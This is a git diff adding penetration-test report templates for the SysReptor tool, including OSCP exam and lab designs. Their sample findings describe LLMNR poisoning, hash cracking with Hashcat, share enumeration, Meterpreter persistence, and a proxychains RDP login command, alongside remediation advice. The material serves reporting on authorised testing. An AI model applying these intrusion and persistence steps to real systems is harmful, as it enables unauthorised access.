+Successfully cracking a password hash with [Hashcat](https://github.com/hashcat/hashcat) to reveal the clear text password value. +""" +recommendation = """ +* Disable LLMNR and NetBIOS in local computer security settings or by group policy if they are not needed within an environment +* Use host-based security software to block LLMNR/NetBIOS traffic. Enabling SMB +* Signing can stop NTLMv2 relay attacks. +* Network intrusion detection and prevention systems that can identify traffic patterns indicative of MiTM activity can be used to mitigate activity at the network level. +* Network segmentation can be used to isolate infrastructure components that do not require broad network access. This may mitigate, or at least alleviate, the scope of MiTM activity. +""" +id = "a10eed1a-07f5-46ef-bf3a-b78208e72272" +references = [ + "https://attack.mitre.org/techniques/T1557/001/", +] +affected_components = [ + "TRICOLOR.LOCAL", +] +cwe = "CWE-522" +order = 1 + +[[report_preview_data.findings]] +title = "Insecure File Shares" +cvss = "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N" +summary = "The tester uncovered multiple file shares where all Domain Users have read/write access." +impact = "An attacker who gains a foothold in this domain can use this access to search for files containing sensitive data such as credentials and potentially write malicious files to the file shares." +description = """ +Viewing file shares accessible to a standard Domain user with the [CrackMapExec](https://github.com/byt3bl33d3r/CrackMapExec/) tool. +""" +recommendation = "Review file share privileges to ensure that users are granted access in accordance with the principal of least privilege." +id = "89b9d011-8782-4a14-be15-ead66d720936" +cwe = "CWE-284" +references = [ + "https://attack.mitre.org/techniques/T1135/", +] +affected_components = [ + "TRICOLOR.LOCAL", +] +order = 2 + +[[report_preview_data.findings]] +title = "Directory Listing Enabled" +cvss = "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:L/I:N/A:N" +summary = "The web application exposes a directory listing of some files in the web root and subfolders." +impact = "The severity of this finding depends on the sensitivity of the files exposed on the web server. If the directory exposes only files intended for public consumption, then the risk is lower but if an attacker can gain access to sensitive information such as configuration files, they may be able to use these to gain further access to the application or web server." +description = """ +Using a web browser, browsing to the affected host lists the directory contents. +""" +recommendation = "Restrict access to files and directories based on the concept of least privilege. Enforce authentication wherever possible and disable directory listing in the web server configuration." +id = "f622369f-782e-4d77-bf2d-493b85747b3b" +cwe = "CWE-548" +references = [ + "https://attack.mitre.org/techniques/T1083/", + "https://www.acunetix.com/blog/articles/directory-listing-information-disclosure/", +] +affected_components = [ + "192.168.195.215 (80/TCP)", +] +order = 3 + +[[report_preview_data.findings]] +title = "Enhance Security Monitoring Capabilities" +cvss = "n/a" +summary = "It appeared that Inlanefreight did not notice “noisy” activities during the course of testing. The tester was also not blocked when using standard open-source penetration testing tools." +impact = "If network and endpoint detection and response are inadequate, an attacker who can gain a foothold in the internal network may be able to move laterally, perform post-exploitation, and achieve persistence easily." +description = "" +recommendation = """ +Consider investing in a more advanced network monitoring solution, configuring logging on all hosts, and processing them for anomalies using a SIEM tool, and implementing endpoint detection on each server and workstation that is more difficult to bypass and tamper with. The +Remediation +organization should not rely on endpoint protection alone. When combined with a defense-in- depth security strategy, they can be an excellent tool for detecting an attacker who gains internal network access and is forced to perform “noisier” and riskier activities to the nature of the hardened environment. +""" +id = "85a9fd04-6f23-45b9-9056-0d3f24965327" +cwe = "CWE-693" +references = [ + "https://attack.mitre.org/tactics/TA0005/", +] +affected_components = [] +order = 4 + +[[assets]] +id = "85d13985-933e-4d05-8623-b736c363385b" +name = "logo-transparent.png" + +[[assets]] +id = "598ee464-3e67-4cc2-9eeb-842e176d0630" +name = "LICENSE" diff --git a/demo_data/offsec-designs/NOTICE b/demo_data/offsec-designs/NOTICE new file mode 100644 index 0000000..2bd4f76 --- /dev/null +++ b/demo_data/offsec-designs/NOTICE @@ -0,0 +1,106 @@ +This file contains licenses of components used in the HTML/Vue template source code of designs. + +vue +MIT +The MIT License (MIT) + +Copyright (c) 2018-present, Yuxi (Evan) You + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in +all copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN +THE SOFTWARE. + + +chart.js +MIT +The MIT License (MIT) + +Copyright (c) 2014-2022 Chart.js Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. + + +chartjs-plugin-datalabels +MIT +The MIT License (MIT) + +Copyright (c) 2017-2021 chartjs-plugin-datalabels contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. + + +lodash +MIT +The MIT License + +Copyright JS Foundation and other contributors + +Based on Underscore.js, copyright Jeremy Ashkenas, +DocumentCloud and Investigative Reporters & Editors + +This software consists of voluntary contributions made by many +individuals. For exact contribution history, see the revision history +available at https://github.com/lodash/lodash + +The following license applies to all parts of this software except as +documented below: + +==== + +Permission is hereby granted, free of charge, to any person obtaining +a copy of this software and associated documentation files (the +"Software"), to deal in the Software without restriction, including +without limitation the rights to use, copy, modify, merge, publish, +distribute, sublicense, and/or sell copies of the Software, and to +permit persons to whom the Software is furnished to do so, subject to +the following conditions: + +The above copyright notice and this permission notice shall be +included in all copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, +EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF +MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND +NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE +LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION +OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION +WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. + +==== + +Copyright and related rights for sample code are waived via CC0. Sample +code is defined as all source code displayed within the prose of the +documentation. + +CC0: http://creativecommons.org/publicdomain/zero/1.0/ + +==== + +Files located in the node_modules and vendor directories are externally +maintained libraries used by this software which have their own +licenses; we recommend you read them, as their terms may differ from the +terms above. + + diff --git a/demo_data/offsec-designs/oscp-assets/LICENSE b/demo_data/offsec-designs/oscp-assets/LICENSE new file mode 100644 index 0000000..ae80ae2 --- /dev/null +++ b/demo_data/offsec-designs/oscp-assets/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2023 SysReptor Developers + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/demo_data/offsec-designs/oscp-lab-assets/LICENSE b/demo_data/offsec-designs/oscp-lab-assets/LICENSE new file mode 100644 index 0000000..ae80ae2 --- /dev/null +++ b/demo_data/offsec-designs/oscp-lab-assets/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2023 SysReptor Developers + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/demo_data/offsec-designs/oscp-lab.toml b/demo_data/offsec-designs/oscp-lab.toml new file mode 100644 index 0000000..f95090b --- /dev/null +++ b/demo_data/offsec-designs/oscp-lab.toml @@ -0,0 +1,792 @@ +format = "projecttypes/v1" +id = "137ea3ee-ff86-4d8c-a6ff-56f60870979f" +name = "OSCP Lab Report v1.1" +language = "en-US" +finding_field_order = [ + "title", + "ip_address", + "cvss", + "initialaccess", + "privilegeescalation", + "postexploitation", +] +report_template = """ + + +
{{ report.osid }}
+ +
+
+
+

Offensive Security

+

{{ report.title }}

+
+ +
+

+ OSID: {{ report.osid }}
+ {{ report.mail }}
+

+

+ {{ formatDate(report.report_date, 'long') }}
+ v{{ report.report_version }} +

+
+
+ + + + +

Table of Contents

+
    +
  • + +
  • +
+ +
+ + +
+

Offensive Security OSCP Lab Penetration Test Report

+
+

Objective

+ +
+
+

Lab Network

+ +
+ +
+

Identified Vulnerabilities

+

+ In the course of this penetration test + + + + + + + + vulnerabilities were identified: +

+ + + + + + + + + + + + + + + + + +
Target NameIPCVSSPage
+
+
+ + +
+

Lab Network

+
+

{{ finding.title }} ({{ finding.ip_address }})

+ + + + + + + + + +
Score: + {{ finding.cvss.score}} ({{ lodash.capitalize(finding.cvss.level) }}) +
Vector:{{ finding.cvss.vector || 'n/a' }}
+ +
+

Initial Access

+ +
+ +
+

Privilege Escalation

+ +
+ +
+

Post-Exploitation

+ +
+ +
+
+ +
+

Course Exercises

+
+

{{ exercise.caption }}

+ +
+ +
+ +
+

Appendix

+ +
+

{{ appendix_section.title }}

+ +
+ +
+ +
+
+ End of Report
+
+
+ This report was rendered
+ by SysReptor with
+
+
+
+""" +report_styles = """ +@import "/assets/global/base.css"; + +/* Define variables */ +:root { + --color-risk-critical: #E83221; + --color-risk-high: #FF9300; + --color-risk-medium: #FFDA00; + --color-risk-low: #4285F5; + --color-risk-info: #00AE51; + + --color-cover-page-bg: #E83221; +} + +/* Font settings */ +html { + font-family: "Noto Sans", sans-serif; + font-size: 10pt; +} + + +/* Global styles */ +@page { + size: A4 portrait; + margin: 35mm 20mm 25mm 20mm; +} + +a { + font-style: italic; + text-decoration: none; + color: inherit; +} + +pre code { + border: 1px solid black; + padding: 0.2em !important; +} +code { + background-color: rgb(221, 221, 221); +} + +th { + background-color: #ABABAB; + font-weight: bold; +} +tr.table-row-link td { + padding: 0; +} +tr.table-row-link td a { + display: block; + padding: 0.3em; + color: inherit; + text-decoration: none; + font-style: inherit; +} +.table-key { + background-color: #ABABAB; +} + + +/* Classes for risk colors */ +.risk-critical { color: var(--color-risk-critical) !important; font-weight: bold; } +.risk-high { color: var(--color-risk-high) !important; font-weight: bold; } +.risk-medium { color: var(--color-risk-medium) !important; font-weight: bold; } +.risk-low { color: var(--color-risk-low) !important; font-weight: bold; } +.risk-info { color: var(--color-risk-info) !important; font-weight: bold; } + +.risk-bg-critical { background-color: var(--color-risk-critical) !important; color: white !important; } +.risk-bg-high { background-color: var(--color-risk-high) !important; } +.risk-bg-medium { background-color: var(--color-risk-medium) !important; } +.risk-bg-low { background-color: var(--color-risk-low) !important; } +.risk-bg-info { background-color: var(--color-risk-info) !important; } + +/* Helper class for referencing page number */ +.ref-page::before { + content: "" !important; +} +.ref-page::after { + content: target-counter(attr(href), page) !important; +} +.ref-page .ref-title { + display: none !important; +} + +/* Table in finding chapters */ +.finding-heading .table-key { + height: 3em; + width: 10em; +} + + +.end-of-report { + text-align:center; + font-style:italic; + margin-top:70px; + line-height:1.7; +} + + + + + +.end-of-report { + text-align:center; + font-style:italic; + margin-top:70px; + line-height:1.7; +} + +/* #region footer */ +@page { + @bottom-left { content: element(footer-left); } + @bottom-center { content: element(footer-center); } + @bottom-right-corner { content: counter(page); } +} +#footer #footer-left { position: running(footer-left); } +#footer #footer-center { position: running(footer-center); } +/* #endregion footer */ + +/* #region watermark */ +#watermark-osid { + position: fixed; + top: 9cm; + left: 1cm; + transform: rotate(-45deg); + font-size: 90pt; + text-transform: uppercase; + opacity: 0.2; +} +/* #endregion watermark */ + +/* #region page-cover */ +@page :first { + /* Footer on the cover page */ + @bottom-right-corner { + content: ""; + } + @bottom-right { + /* Page number */ + content: counter(page); + font-size: 9pt; + color: white + } + @bottom-left { + content: "Confidential"; + text-transform: uppercase; + font-style: italic; + color: white; + } + /* Pentest title should not appear on cover page */ + @bottom-center { + content: ''; + } +} +#page-cover-background{ + position: absolute; + margin-top: -35mm; + margin-left: -20mm; + width: 210mm; + height: 297mm; + background-color: var(--color-cover-page-bg); +} +/* Title page elements */ +#page-cover-title { + position: absolute; + top: 20mm; + left: 0; + width: 14cm; + color: #ffffff; +} +#page-cover-title h1 { + font-size: 32pt; +} +#page-cover-title h2 { + font-size: 24pt; +} +#page-cover-student { + position: absolute; + top: 11cm; + left: 0; + width: 14cm; + color: #ffffff; +} +#page-cover-osid { + font-size: 14pt; +} +#page-cover-meta { + line-height: 2em; +} +/* #endregion page-cover */ + +/* #region toc */ +#toc li { + list-style: none; + margin: 0; + padding: 0; +} +#toc .ref::before { + padding-right: 0.5em; +} +#toc .ref::after { + content: " " leader(".") " " target-counter(attr(href), page); +} +#toc .toc-level1 { + font-size: 1.5rem; + font-weight: bold; + margin-top: 0.8rem; +} +#toc .toc-level2 { + font-size: 1.2rem; + font-weight: bold; + margin-top: 0.5rem; + margin-left: 2rem; +} +#toc .toc-level3 { + font-size: 1rem; + margin-top: 0.4rem; + margin-left: 4rem; +} +#toc .toc-level4 { + font-size: 1rem; + margin-top: 0; + margin-left: 6rem; +} +/* #endregion toc */ +""" + +[report_fields] +[report_fields.title] +type = "string" +label = "Title" +origin = "core" +default = "Penetration Test Report for Internal Lab" +required = true +spellcheck = true + +[report_fields.mail] +type = "string" +label = "Mail" +origin = "custom" +default = "student@example.com" +required = true +spellcheck = false + +[report_fields.osid] +type = "string" +label = "OSID" +origin = "custom" +default = "XXXXX" +required = true +spellcheck = false + +[report_fields.lastname] +type = "string" +label = "Lastname" +origin = "custom" +default = "Doe" +required = true +spellcheck = false + +[report_fields.exercises] +type = "list" +label = "Exercises" +origin = "custom" +required = true + +[report_fields.exercises.items] +type = "object" +label = "" +origin = "custom" + +[report_fields.exercises.items.properties] +[report_fields.exercises.items.properties.description] +type = "markdown" +label = "Description" +origin = "custom" +default = "TODO Adapt as required" +required = true + +[report_fields.exercises.items.properties.caption] +type = "string" +label = "Title" +origin = "custom" +default = "TODO a.b.c.d Exercise (e.g. \"2.4.3.4 - Finding Files in Kali Linux\")" +required = true +spellcheck = false + +[report_fields.firstname] +type = "string" +label = "Firstname" +origin = "custom" +default = "John" +required = true +spellcheck = false + +[report_fields.objective] +type = "markdown" +label = "Objective" +origin = "custom" +default = """ +{{ report.firstname }} {{ report.lastname}} ({{ report.osid}}) was tasked with performing an internal penetration test towards Offensive Security Labs. An internal penetration test is a dedicated attack against internally connected systems. The focus of this test is to perform attacks, similar to those of a hacker and attempt to infiltrate Offensive Security’s internal lab systems – the THINC.local domain. {{ report.firstname }} {{ report.lastname}}’s ({{ report.osid}}) overall objective was to evaluate the network, identify systems, and exploit flaws while reporting the findings back to Offensive Security. + +When performing the internal penetration test, there were several alarming vulnerabilities that were identified on Offensive Security’s network. When performing the attacks, {{ report.firstname }} {{ report.lastname}} ({{ report.osid}}) was able to gain access to multiple machines, primarily due to outdated patches and poor security configurations. During the testing, {{ report.firstname }} {{ report.lastname}} ({{ report.osid}}) had administrative level access to multiple systems. All systems were successfully exploited and access granted. + +TODO Adapt summary as required +""" +required = true + +[report_fields.watermark] +type = "boolean" +label = "Watermark" +origin = "custom" +default = false + +[report_fields.lab_network] +type = "markdown" +label = "Lab Network" +origin = "custom" +default = """ +Offensive Security Complete Guide machines (alpha and beta) may not be included in your lab report, they are for demonstration purposes only. + +For more information regarding the Bonus Points requirements, please visit the following URL: [https://help.offensive-security.com/hc/en-us/articles/360040165632-OSCP-Exam-Guide](https://help.offensive-security.com/hc/en-us/articles/360040165632-OSCP-Exam-Guide) + +TODO Adapt as required +""" +required = true + +[report_fields.methodology] +type = "markdown" +label = "Methodologies" +origin = "custom" +default = """ +{{ report.firstname }} {{ report.lastname}} ({{ report.osid}}) utilized a widely adopted approach to perform penetration testing that is effective in testing how well the Offensive Security Labs and Exam environments are secure. Below is a breakout of how {{ report.firstname }} {{ report.lastname}} ({{ report.osid}}) was able to identify and exploit the variety of systems and includes all individual vulnerabilities found. + +TODO Adapt as required +""" +required = true + +[report_fields.penetration] +type = "markdown" +label = "Penetration" +origin = "custom" +default = """ +The penetration testing portions of the assessment focus heavily on gaining access to a variety of systems. During this penetration test, {{ report.firstname }} {{ report.lastname}} ({{ report.osid}}) was able to successfully gain access to 10 out of the 50 systems. + +TODO Adapt as required +""" +required = true + +[report_fields.report_date] +type = "date" +label = "Report Date" +origin = "custom" +required = true + +[report_fields.serviceenum] +type = "markdown" +label = "Service Enumeration" +origin = "custom" +default = """ +The service enumeration portion of a penetration test focuses on gathering information about what services are alive on a system or systems. This is valuable for an attacker as it provides detailed information on potential attack vectors into a system. Understanding what applications are running on the system gives an attacker needed information before performing the actual penetration test. In some cases, some ports may not be listed. + +TODO Adapt as required +""" +required = true + +[report_fields.housecleaning] +type = "markdown" +label = "House Cleaning" +origin = "custom" +default = """ +The house cleaning portions of the assessment ensures that remnants of the penetration test are removed. Often fragments of tools or user accounts are left on an organizations computer which can cause security issues down the road. Ensuring that we are meticulous and no remnants of our penetration test are left over is important. + +After the trophies on both the lab network and exam network were completed, John removed all user accounts and passwords as well as the Meterpreter services installed on the system. Offensive Security should not have to remove any user accounts or services from the system. + +TODO Adapt as required +""" +required = true + +[report_fields.infogathering] +type = "markdown" +label = "Information Gathering" +origin = "custom" +default = """ +The information gathering portion of a penetration test focuses on identifying the scope of the penetration test. During this penetration test, {{ report.firstname }} {{ report.lastname}} ({{ report.osid}}) was tasked with exploiting the lab and exam network. The specific IP addresses were: + +**Lab Network:** + +* System-1 +* System-2 +* etc. + +TODO Adapt as required +""" +required = true + +[report_fields.maintainaccess] +type = "markdown" +label = "Maintaining Access" +origin = "custom" +default = """ +Maintaining access to a system is important to us as attackers, ensuring that we can get back into a system after it has been exploited is invaluable. The maintaining access phase of the penetration test focuses on ensuring that once the focused attack has occurred (i.e. a buffer overflow), we have administrative access over the system again. Many exploits may only be exploitable once and we may never be able to get back into a system after we have already performed the exploit. + +{{ report.firstname }} {{ report.lastname}} ({{ report.osid}}) added administrator and root level accounts on all systems compromised. In addition to the administrative/root access, a Metasploit meterpreter service was installed on the machine to ensure that additional access could be established. + +TODO Adapt as required +""" +required = true + +[report_fields.report_version] +type = "string" +label = "Report Version" +origin = "custom" +default = "1.0" +required = true +spellcheck = false + +[report_fields.appendix_sections] +type = "list" +label = "Appendix" +origin = "custom" +required = true + +[report_fields.appendix_sections.items] +type = "object" +label = "" +origin = "custom" + +[report_fields.appendix_sections.items.properties] +[report_fields.appendix_sections.items.properties.title] +type = "string" +label = "Title" +origin = "custom" +default = "TODO appendix title" +required = true +spellcheck = false + +[report_fields.appendix_sections.items.properties.content] +type = "markdown" +label = "Content" +origin = "custom" +default = "TODO appendix content" +required = true + +[[report_sections]] +id = "Student" +label = "Student" +fields = [ + "firstname", + "lastname", + "osid", + "mail", +] + +[[report_sections]] +id = "other" +label = "Document Control" +fields = [ + "title", + "report_date", + "report_version", + "watermark", +] + +[[report_sections]] +id = "high-level_summary" +label = "High-Level Summary" +fields = [ + "objective", + "lab_network", +] + +[[report_sections]] +id = "methodology" +label = "Methodologies" +fields = [ + "methodology", + "infogathering", + "serviceenum", + "penetration", + "maintainaccess", + "housecleaning", +] + +[[report_sections]] +id = "coursexercises" +label = "Course Exercises" +fields = [ + "exercises", +] + +[[report_sections]] +id = "appendix" +label = "Appendix" +fields = [ + "appendix_sections", +] + +[finding_fields] +[finding_fields.title] +type = "string" +label = "Target Name" +origin = "core" +default = "TODO Target Name" +required = true +spellcheck = true + +[finding_fields.cvss] +type = "cvss" +label = "CVSS" +origin = "core" +default = "n/a" +required = true + +[finding_fields.ip_address] +type = "string" +label = "IP Address" +origin = "custom" +default = "TODO IP Address" +required = true +spellcheck = false + +[finding_fields.initialaccess] +type = "markdown" +label = "Initial Access" +origin = "custom" +default = "TODO Describe initial access" +required = true + +[finding_fields.postexploitation] +type = "markdown" +label = "Post Exploitation" +origin = "custom" +default = "TODO Describe post exploitation" +required = true + +[finding_fields.privilegeescalation] +type = "markdown" +label = "Privilege Escalation" +origin = "custom" +default = "TODO Describe privilege escalation" +required = true + +[report_preview_data] +[report_preview_data.report] +title = "Penetration Test Report for Internal Lab" +mail = "student@example.com" +osid = "OS-XXXXX" +watermark = true +methodology = "{{ report.firstname }} {{ report.lastname}} ({{ report.osid}}) utilized a widely adopted approach to perform penetration testing that is effective in testing how well the Offensive Security Labs and Exam environments are secure. Below is a breakout of how {{ report.firstname }} {{ report.lastname}} ({{ report.osid}}) was able to identify and exploit the variety of systems and includes all individual vulnerabilities found." +penetration = "The penetration testing portions of the assessment focus heavily on gaining access to a variety of systems. During this penetration test, {{ report.firstname }} {{ report.lastname}} ({{ report.osid}}) was able to successfully gain access to 10 out of the 50 systems." +report_date = "2022-07-29" +serviceenum = "The service enumeration portion of a penetration test focuses on gathering information about what services are alive on a system or systems. This is valuable for an attacker as it provides detailed information on potential attack vectors into a system. Understanding what applications are running on the system gives an attacker needed information before performing the actual penetration test. In some cases, some ports may not be listed." +housecleaning = """ +The house cleaning portions of the assessment ensures that remnants of the penetration test are removed. Often fragments of tools or user accounts are left on an organizations computer which can cause security issues down the road. Ensuring that we are meticulous and no remnants of our penetration test are left over is important. + +After the trophies on both the lab network and exam network were completed, John removed all user accounts and passwords as well as the Meterpreter services installed on the system. Offensive Security should not have to remove any user accounts or services from the system. +""" +infogathering = """ +The information gathering portion of a penetration test focuses on identifying the scope of the penetration test. During this penetration test, {{ report.firstname }} {{ report.lastname}} ({{ report.osid}}) was tasked with exploiting the lab and exam network. The specific IP addresses were: + +**Lab Network:** + +* System-1 +* System-2 +* etc. +""" +maintainaccess = """ +Maintaining access to a system is important to us as attackers, ensuring that we can get back into a system after it has been exploited is invaluable. The maintaining access phase of the penetration test focuses on ensuring that once the focused attack has occurred (i.e. a buffer overflow), we have administrative access over the system again. Many exploits may only be exploitable once and we may never be able to get back into a system after we have already performed the exploit. + +{{ report.firstname }} {{ report.lastname}} ({{ report.osid}}) added administrator and root level accounts on all systems compromised. In addition to the administrative/root access, a Metasploit meterpreter service was installed on the machine to ensure that additional access could be established. + +""" +report_version = "1.0" +firstname = "John" +lastname = "Doe" +objective = """ +{{ report.firstname }} {{ report.lastname}} ({{ report.osid}}) was tasked with performing an internal penetration test towards Offensive Security Labs. An internal penetration test is a dedicated attack against internally connected systems. The focus of this test is to perform attacks, similar to those of a hacker and attempt to infiltrate Offensive Security’s internal lab systems – the THINC.local domain. {{ report.firstname }} {{ report.lastname}}’s ({{ report.osid}}) overall objective was to evaluate the network, identify systems, and exploit flaws while reporting the findings back to Offensive Security. + +When performing the internal penetration test, there were several alarming vulnerabilities that were identified on Offensive Security’s network. When performing the attacks, {{ report.firstname }} {{ report.lastname}} ({{ report.osid}}) was able to gain access to multiple machines, primarily due to outdated patches and poor security configurations. During the testing, {{ report.firstname }} {{ report.lastname}} ({{ report.osid}}) had administrative level access to multiple systems. All systems were successfully exploited and access granted. + +TODO Adapt summary as required +""" +lab_network = """ +Offensive Security Complete Guide machines (alpha and beta) may not be included in your lab report, they are for demonstration purposes only. + +For more information regarding the Bonus Points requirements, please visit the following URL: https://help.offensive-security.com/hc/en-us/articles/360040165632-OSCP-Exam-Guide + +TODO Adapt as required +""" + +[[report_preview_data.report.appendix_sections]] +title = "Appendix Title" +content = "Appendix content" + +[[report_preview_data.report.exercises]] +description = "TODO Adapt as required" +caption = "TODO a.b.c.d Exercise (e.g. \"2.4.3.4 - Finding Files in Kali Linux\")" + +[[report_preview_data.report.exercises]] +description = "TODO Adapt as required" +caption = "TODO a.b.c.d Exercise (e.g. \"2.4.3.4 - Finding Files in Kali Linux\")" + +[[report_preview_data.findings]] +title = "Poultry" +cvss = "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H" +id = "25a70e70-515e-4664-b7ab-dffc2f2fe12e" +ip_address = "10.5.5.20" +initialaccess = """ +**Steps to reproduce the attack:** with the credentials at hand and a reverse tunnel established, John connected to an RDP session using proxychains accepting the certificate when prompted and entering the retrieved password afterward. + +``` +proxychains xfreerdp /d:sandbox /u:alex /v:10.5.5.20 +clipboard +``` +""" +postexploitation = "John noticed the presence of the Thunderbird program on the user’s desktop, and while checking Alex’s inbox he found the email from a local administrator Roger." +privilegeescalation = "" + +[[assets]] +id = "f10d2665-653b-4242-93af-6da8d7a0838b" +name = "LICENSE" diff --git a/demo_data/offsec-designs/oscp.toml b/demo_data/offsec-designs/oscp.toml new file mode 100644 index 0000000..810b710 --- /dev/null +++ b/demo_data/offsec-designs/oscp.toml @@ -0,0 +1,923 @@ +format = "projecttypes/v1" +id = "de0fcd3c-9548-40e2-8c48-3ab0b4b3c69b" +name = "OSCP Exam Report v1.1" +language = "en-US" +finding_field_order = [ + "title", + "ip_address", + "isActiveDirectory", + "cvss", + "serviceenum", + "initialaccess", + "privilegeescalation", + "postexploitation", +] +report_template = """ + + +
{{ report.osid }}
+ + + +
+
+
+

Offensive Security

+

{{ report.title }}

+
+ +
+

+ OSID: {{ report.osid }}
+ {{ report.mail }}
+

+

+ {{ formatDate(report.report_date, 'long') }}
+ v{{ report.report_version }} +

+
+ +
+ + + + + +

Table of Contents

+
    +
  • + +
  • +
+ +
+ + + # Offensive Security OSCP Exam Penetration Test Report {.in-toc.numbered} + + ## Introduction {.in-toc .numbered} + The Offensive Security Lab and Exam penetration test report contains all efforts that were conducted in order to pass the Offensive Security course. This report should contain all items that were used to pass the overall exam and it will be graded from a standpoint of correctness and fullness to all aspects of the exam. The purpose of this report is to ensure that the student has a full understanding of penetration testing methodologies as well as the technical knowledge to pass the qualifications for the Offensive Security Certified Professional. + + ## Objective {.in-toc.numbered} + The objective of this assessment is to perform an internal penetration test against the Offensive Security Lab and Exam network. The student is tasked with following methodical approach in obtaining access to the objective goals. This test should simulate an actual penetration test and how you would start from beginning to end, including the overall report. An ex-ample page has already been created for you at the latter portions of this document that should give you ample information on what is expected to pass this course. Use the sample report as a guideline to get you through the reporting. + + ## Requirements {.in-toc.numbered} + The student will be required to fill out this penetration testing report fully and to include the following sections: + * Overall High-Level Summary and Recommendations (non-technical) + * Methodology walkthrough and detailed outline of steps taken + * Each finding with included screenshots, walkthrough, sample code, and proof.txt if applicable. + * Any additional items that were not included + + + + +
+

High-Level Summary

+ + +
+

Recommendations

+ +
+ +
+

